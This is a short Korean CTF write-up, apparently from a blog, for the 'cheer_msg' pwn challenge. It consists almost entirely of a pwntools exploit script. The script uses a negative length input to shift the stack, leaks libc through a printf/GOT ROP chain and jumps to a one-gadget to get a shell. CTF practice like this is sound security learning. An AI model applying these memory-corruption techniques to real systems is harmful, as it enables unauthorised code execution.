728x90

개꿀잼! 게임하려 했지만 해킹이 더재밌는거 같다 ㅎㅎ

처음엔 뭐지 했는데 esp를 주물럭하면 쓱싹이다. 뭔가 머리아프다 하면 gdb한테 도와달라고하자!



from pwn import *

s = process("./cheer_msg")
libc = ELF("./libc")

elf = ELF("./cheer_msg")

gdb.attach(s,'b *0x080486a5')

s.recvuntil("Message Length >> ")
s.sendline("-144")

s.recvuntil("Name >> ")

pay = p32(elf.plt['printf'])
pay += p32(0x08048409)
pay += p32(elf.got['atoi'])
pay += p32(0x080485ca)

s.sendline(pay)

s.recvuntil("Message :")
print s.recvline()

leak = u32(s.recv(4))
print "leak : " + hex(leak)

libc_base = leak - libc.symbols['atoi']
system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search("/bin/sh\00"))
one_shot = libc_base + 0x5fbc5

print "libc_base : " + hex(libc_base)
print "system : " + hex(system)
print "bin_sh : " + hex(bin_sh)
print "one_shot : " + hex(one_shot)

s.recvuntil("Message Length >> ")
s.sendline("-144")

s.recvuntil("Name >> ")

pay = p32(one_shot)

s.sendline(pay)

s.interactive()


'PWN > CTF' 카테고리의 다른 글

[DefCamp CTF 2016] Warm heap  (0) 2019.01.03
[SECCON 2016] checker  (0) 2018.12.30
[Sctf 2016] Pwn2  (0) 2018.12.29
[RCTF 2018] Rnote3  (0) 2018.12.25
[ISITDTU 2018] dead_note_lv2  (0) 2018.12.20